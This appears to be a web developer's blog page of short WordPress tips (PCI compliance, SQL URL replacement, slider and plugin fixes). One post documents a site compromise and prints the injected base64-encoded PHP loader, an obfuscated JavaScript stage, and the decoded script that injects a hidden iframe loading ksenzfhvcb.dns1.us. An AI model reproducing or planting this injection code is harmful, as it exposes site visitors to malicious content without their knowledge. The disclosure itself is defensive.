Showing posts with label wordpress. Show all posts
Showing posts with label wordpress. Show all posts

Thursday, May 02, 2013

e-Commerce PCI compliance

Merchant accounts like Authorize.net are now requiring customers to become PCI compliant for e-commerce. Even if you are using an event registration software like event espresso for wordpress you will be required to go through this process.

My advise - use a HOSTED checkout .....

There are really only 2 ways to become PCI compliant. Here are the run downs of each.

  1. Use a hosted checkout like Authorize.net SIM or Paypal Standard   Customer goes outside of the website to submit their information then gets returned to the website. This method is the most cost effective. It allows you to keep the cheaper hosting and not pay for services like security metrics.

    Here is a picture that explains it.
    http://developer.authorize.net/api/howitworks/sim/
  2. Change hosting to a Virtual Private Server or Dedicated host which is severe overkill for the online business you are running. Generally it costs between $50-$75+ for a VPS and even more for a Dedicated server.  Along with the different server we would need to purchase and install a wild card SSL for all services (email, ftp, etc) around   ~$100.

    Then once all of that is completed we run security metrics scans (these take 12ish hours) review the issues and work with the hosting support team to complete the changes. Generally there are several rounds of back and forth until its compliant. The PCI compliance scan rules to change occasionally to keep up with software updates and security holes.

 As you can see option 2 becomes expensive quickly so I wanted you to be able to make an informed decision.

The question really becomes how much does hosted checkout bother you and your customers?
And are we selling enough to make this worth while?


 Of course all of this is for the website, if you process and store credit cards in house you will need to be PCI compliant there as well.


Stumble Upon CodePyro

Monday, April 30, 2012

Replace Test urls in Wordpress to live using phpmyadmin

Just a quick help snippet for those of us who test wp websites on a test domain before moving them to a live url.

This issue arises when using a test domain for building a site and uploaded images, pdfs etc link to the test domain. When you make the website live the links still point to the old url in each and every post and page. Here is a quick SQL snippet to replace those old urls.

    UPDATE wp_posts
    SET guid =
    REPLACE(

        guid,
        "http://TestDomain/",
        "http://www.LiveDomain.com/"

    );

 UPDATE wp_posts
    SET post_content =
    REPLACE(

        post_content,
        "http://TestDomain/",
        "http://www.LiveDomain.com/"

    ); 


update wp_options
set option_value =
replace(
       option_value,
       "http://TestDomain/",
        "http://www.LiveDomain.com/"
); 


Stumble Upon CodePyro

Thursday, February 23, 2012

Wordpress index.php hacked iframe points to ksenzfhvcb.dns1.us

Several Wordpress sites were hacked today with an insert into the index.php. I have not yet figured out How it happened, and will post when/if I figure it out.

Here was the hacked/added text

eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDN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ZGpKMk1qQjJMVE13ZGkwek1IWTROaWN1YzNCc2FYUW9KM1luS1R0dFpEMG5ZU2M3WlQxM2FXNWtiM2RiSjJVbkt5ZDJZV3duWFR0M1BXWTdjejBuSnp0bWNqMG5aaWNySjNKdkp5c25iU2NySjBOb1lYSW5PM0k5YzNOYlpuSXJKME52WkdVblhUdG1iM0lvYVQwd095MXBQaTEzTG14bGJtZDBhRHRwS3lzcGUybzlhVHR6UFhNcmNpZ3pPU3N4S25kYmFsMHBPMzBLYVdZb1lXRXVhVzVrWlhoUFppaGhZV0VwSVQwOUxURXBDbVVvY3lrN1BDOXpZM0pwY0hRKycpKTsNCn0='));
 



First Translation
if(window['d'+'o'+'c'+'u'+'m'+'e'+'nt'])aa=/\w/.exec(new Date()).index+[];aaa='0';try{new document();}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1)
f='-30v-30v66v63v-7v1v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v2v84v-30v-30v-30v66v63v75v58v70v62v75v1v2v20v-30v-30v86v-7v62v69v76v62v-7v84v-30v-30v-30v61v72v60v78v70v62v71v77v7v80v75v66v77v62v1v-5v21v66v63v75v58v70v62v-7v76v75v60v22v0v65v77v77v73v19v8v8v68v76v62v71v83v63v65v79v60v59v7v61v71v76v10v7v78v76v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v-7v80v66v61v77v65v22v0v10v9v0v-7v65v62v66v64v65v77v22v0v10v9v0v-7v76v77v82v69v62v22v0v79v66v76v66v59v66v69v66v77v82v19v65v66v61v61v62v71v20v73v72v76v66v77v66v72v71v19v58v59v76v72v69v78v77v62v20v69v62v63v77v19v9v20v77v72v73v19v9v20v0v23v21v8v66v63v75v58v70v62v23v-5v2v20v-30v-30v86v-30v-30v63v78v71v60v77v66v72v71v-7v66v63v75v58v70v62v75v1v2v84v-30v-30v-30v79v58v75v-7v63v-7v22v-7v61v72v60v78v70v62v71v77v7v60v75v62v58v77v62v30v69v62v70v62v71v77v1v0v66v63v75v58v70v62v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v76v75v60v0v5v0v65v77v77v73v19v8v8v68v76v62v71v83v63v65v79v60v59v7v61v71v76v10v7v78v76v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v2v20v63v7v76v77v82v69v62v7v79v66v76v66v59v66v69v66v77v82v22v0v65v66v61v61v62v71v0v20v63v7v76v77v82v69v62v7v73v72v76v66v77v66v72v71v22v0v58v59v76v72v69v78v77v62v0v20v63v7v76v77v82v69v62v7v69v62v63v77v22v0v9v0v20v63v7v76v77v82v69v62v7v77v72v73v22v0v9v0v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v80v66v61v77v65v0v5v0v10v9v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v65v62v66v64v65v77v0v5v0v10v9v0v2v20v-30v-30v-30v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v7v58v73v73v62v71v61v28v65v66v69v61v1v63v2v20v-30v-30v86'.split('v');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'m'+'Char';r=ss[fr+'Code'];for(i=0;-i>-w.length;i++){j=i;s=s+r(39+1*w[j]);}
if(aa.indexOf(aaa)!==-1)
e(s); 
 





Then it next translates too the javascript that adds an iframe to the html page.
if (document.getElementsByTagName('body')[0])
 {            iframer();        } 
 else 
 {            document.write("<iframe src='http://ksenzfhvcb.dns1.us/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");        
 }        
 
 function iframer()
 {    
  var f = document.createElement('iframe');f.setAttribute('src','http://ksenzfhvcb.dns1.us/d/404.php?go=1');
  f.style.visibility='hidden';
  f.style.position='absolute';
  f.style.left='0';
  f.style.top='0';
  f.setAttribute('width','10');
  f.setAttribute('height','10');            
  document.getElementsByTagName('body')[0].appendChild(f);        
 }


Stumble Upon CodePyro

Wednesday, December 21, 2011

How to Add an image link to a Nivo Slider using Next Gen Gallery for Wordpress

This setup is for when you need to use a custom field say a Link for your Next Gen Gallery images while viewing the images in a Nivo Slider. In particular I am using the Easy Nivo Slider.

First get your gallery setup with all of your images. Next go get the Next Gen Gallery Custom Fields . Once the plugin is installed add a new field called "link", now each of your images will have a link field in the gallery manager. Fill out a link for each.

Next in the Easy Nivo Slider get that plugged into an article or in one of your templates. Once that is done and the slideshow is running at the dimensions that you need. Your ready to add the custom fields to the output.

The Custom fields in the Next Gen gallery are not called in the Easy Nivo Slider so we will need to use some functions to get the particular field.

Open up the file plugins/easy-nivo-slider/nextgen/list-images.php

You should find the php code that displays the image tag around 185.

echo '<img src="'.$image->imageURL.'" '. $image_description.$size.' border="0" />';

Just before that code we are going to add the php to output our new custom link field.
We will use the function from the Next Gen Gallery Custom Fields functions.php file called nggcf_get_field. It takes 2 parameters ('PHOTO ID','CUSTOM FIELD NAME')

//get the field value from the Next Gen Gallery Custom Fields using the photo id
  $linkval= nggcf_get_field($result->pid,'link');
  if($linkval !='')
     echo "<a href=\"" . $linkval . "\">";

So thats it now you have outputted your custom field of link before the image is ouput. I would also reccomend closing the a tag after the image is displayed. Here is the full snippet.
//codepyro hack using the next gen gallery custom fields to get  the custom field of link for each photo
              $linkval= nggcf_get_field($result->pid,'link');
             if($linkval !='')
               echo "<a href=\"" . $linkval . "\">";

            // Output the image
            // Note that this outputs the original nextgen image, not the resized one.  need to figure out how
            // to get that one, if it exists

            echo '<img src="'.$image->imageURL.'" '. $image_description . $size .' border="0" />';

             if($linkval !='')
                 echo '</a>';


Stumble Upon CodePyro

Tuesday, December 13, 2011

Size Nivo slideshows for mobile using CSS

Yep, you sure can scale and re-size the Nivo and many other jQuery or Mootools slideshows using CSS media queries.

To get started I am using
The easy-nivo-slider for Wordpress. This is in conjunction with Really Nice NextGen Wordpress Gallery Manager plugin.
(If you need to learn these just visit their respective pages.)

Now to the quick goodies. I am only showing the normal website width and a small mobile. I would reccomend setting another media query for around 768px wide, or go look up common mobile device screen sizes

//Normal width of a website
 .easy-nivo-slider-first
{ 
  width:700px;
}

//CSS media Query for screen sizes less than or equal too 320px wide
@media only screen and (max-width: 320px) {
 .easy-nivo-slider-first
{  
width:300px;
}


Stumble Upon CodePyro

Thursday, July 07, 2011

Wordpress RocketTheme and RokStories issues

Using RocketThemes for Joomla has been a great Joy. This week I tried one of the wordpress themes, boy what a journey.

There seems to be some sort of caching issue and settings troubles. If you go to create your own preset, that is to say your own customized template use one of the pre-existing ones. I tried to create a separate preset and had NO-End of problems. The customized template preset would work fine and be cached for several hours then revert back to the last preset. Your best hope to get the template to work correctly is to completely over-write one of the presets.

Anyway, enough about the dang template issues and on to the RokStories.

In my customized template there was a "Showcase" for RokStories which by template defaults were loading 3 posts under category frontpage. The RokStories shows on every page by default. To make it show only on the homepage you need to 1st create a new override call it something useful.

Now that you have an override you can go to the widgets admin and remove all of the widgets un-needed for the Default Gantry Settings. When happy switch to your custom override for the homepage.

Now you would think with the override that the settings would just *work* for the homepage, BZZZZ WRONG. The settings still come from the default settings for RokStories. So to resolve my issue of RokStories for wordpress only showing 3 entries I had to manually edit the rokstories_artcount json variable in the wp_options db.

Also note that when manually editing this variable, YOU MAY not set it above 9, for some reason 2 digits break the site!

//to find the variable
SELECT *
FROM `wp_options`
WHERE option_value LIKE '%artcount%'


Stumble Upon CodePyro

Tuesday, April 12, 2011

Sidebar Generator plugin for Wordpress 3.1 issues resolved

Hello all of you out there frustrated with the Zero response to the issues with the Sidebar Generator. I had a word press site that used this plugin and after upgrading it no longer worked or appeared to.

After playing with the plugin and testing it after the 3.1 upgrade is related to the saving the post. It turns out that the database table wp_postmeta was getting populated with a JSON string of php output

SELECT * FROM `wp_postmeta` where meta_value like '%<?=$i?>%'

<select name="sidebar_generator[<?=$i?>]">

Just replace the lines with this one
<select name="sidebar_generator_replacement[<?php echo $i; ?>]">

Link to updated plugin working on Wordpress 3.1.0


Stumble Upon CodePyro